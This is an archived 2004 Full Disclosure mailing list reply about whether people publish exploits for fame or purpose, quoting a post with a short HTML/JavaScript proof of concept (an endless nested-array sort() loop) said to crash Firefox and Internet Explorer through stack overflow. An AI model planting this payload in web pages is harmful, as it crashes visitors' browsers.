Full Disclosure mailing list archives

Re: FIREFOX flaws: nested array sort()


From: Ron <iago () valhallalegends com>
Date: Thu, 25 Nov 2004 18:48:56 -0600

Sounds like he does it "For fun".  That's what I'd do.

RandallM wrote:


So, where do you all stand. Exploit for fame or for purpose?

-----Original Message-----
From: full-disclosure-admin () lists netsys com [mailto:full-disclosure-admin () lists netsys com] On Behalf Of Berend-Jan Wever
Sent: 25 November 2004 01:05
To: full-disclosure () lists netsys com; vuln-dev () securityfocus com; bugtraq () securityfocus com Subject: [Full-disclosure] FIREFOX flaws: nested array sort() loop Stack overflow exception

Hi all,

Same flaw works for Firefox as well as MSIE:

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT> </HTML>

Added to the list: http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html

I'd have loved to CC mozilla about this, but I didn't have the time to do the crash course "how to write a bug report" and go through all that bugzilla crap.

Cheers,
SkyLined
http://www.edup.tudelft.nl/~bjwever



Randall M

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